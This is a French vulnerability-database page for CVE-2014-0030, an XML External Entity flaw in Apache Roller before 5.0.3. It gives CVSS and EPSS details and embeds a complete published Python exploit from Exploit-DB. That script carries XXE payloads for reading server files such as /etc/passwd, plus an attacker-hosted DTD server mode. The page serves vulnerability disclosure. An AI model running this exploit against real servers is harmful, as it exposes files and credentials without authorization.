CVE-2014-0030 : Détail

CVE-2014-0030

9.8
/
Critique
A05-Security Misconfiguration
18.96%V4
Network
2017-10-09
12h00 +00:00
2018-09-08
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The XML-RPC protocol support in Apache Roller before 5.0.3 allows attackers to conduct XML External Entity (XXE) attacks via unspecified vectors.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-611 Improper Restriction of XML External Entity Reference
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 45341

Date de publication : 2018-09-05 22h00 +00:00
Auteur : Marko Jokic
EDB Vérifié : No

# Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure) # Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}" # Date: 2018-09-05 # Exploit Author: Marko Jokic # Contact: http://twitter.com/_MarkoJokic # Vendor Homepage: http://roller.apache.org/ # Software Link: http://archive.apache.org/dist/roller/ # Version: < 5.0.3 # Tested on: Linux Ubuntu 14.04.1 # CVE : CVE-2014-0030 # This exploit lets you read almost any file on a vulnerable server via XXE vulnerability. # There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'. # 'SIMPLE' payload will work in most cases and will be used by default, if # server errors out, use 'ADVANCED' payload. # 'ADVANCED' payload will start local web server and serve malicious XML which # will be parsed by a target server. # To successfully perform attack with 'ADVANCED' payload, make sure that port # you listen on (--lport flag) is accessible out of the network. #!/usr/bin/env python import SimpleHTTPServer import SocketServer import argparse import sys import threading from xml.etree import ElementTree import urllib3 import requests SIMPLE_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file://{}">]> <methodCall> <methodName>&xxe;</methodName> </methodCall> """ ADVANCED_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY % start "<![CDATA["> <!ENTITY % xxe SYSTEM "file://{}"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "{}"> %dtd; ]> <methodCall> <methodName>&all;</methodName> </methodCall> """ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write('<!ENTITY all "%start;%xxe;%end;">') def check_exploit(host): response = requests.post(host + "/roller-services/xmlrpc", verify=False) if response.status_code == 200: return True return False def exploit(host, payload): response = requests.post(host + "/roller-services/xmlrpc", data=payload, verify=False) xml_tree = ElementTree.fromstring(response.text) parsed_response = xml_tree.findall("fault/value/struct/member")[1][1].text print parsed_response def start_web_server(port): handler = MyHandler httpd = SocketServer.TCPServer(('', port), handler, False) httpd.allow_reuse_address = True httpd.server_bind() httpd.server_activate() httpd.handle_request() httpd.shutdown() def main(): parser = argparse.ArgumentParser() parser.add_argument('-u', metavar="URL", dest="url", required=True, help="Target URL") parser.add_argument('-f', metavar='FILE', dest="file", required=False, default="/etc/passwd", help="File to read from server") parser.add_argument('--lhost', required='--rport' in sys.argv, help="Your IP address for http web server") parser.add_argument('--lport', type=int, required='--rhost' in sys.argv, help="Port for web server to listen on") args = parser.parse_args() host = args.url full_file_path = args.file advanced = False lhost = args.lhost lport = args.lport if lport is not None and lport is not None: advanced = True check = check_exploit(host) if check: if advanced: th = threading.Thread(target=start_web_server, args=(lport,)) th.daemon = True th.start() payload = ADVANCED_PAYLOAD.format(full_file_path, "http://{}:{}".format(lhost, lport)) else: payload = SIMPLE_PAYLOAD.format(full_file_path) exploit(host, payload) else: print "[-] TARGET IS NOT VULNERABLE!" main()

Products Mentioned

Configuraton 0

Apache>>Roller >> Version 3.1

Apache>>Roller >> Version 4.0

Apache>>Roller >> Version 4.0.1

Apache>>Roller >> Version 5.0

Apache>>Roller >> Version 5.0.1

Apache>>Roller >> Version 5.0.2

Références

https://www.exploit-db.com/exploits/45341/
Tags : exploit, x_refsource_EXPLOIT-DB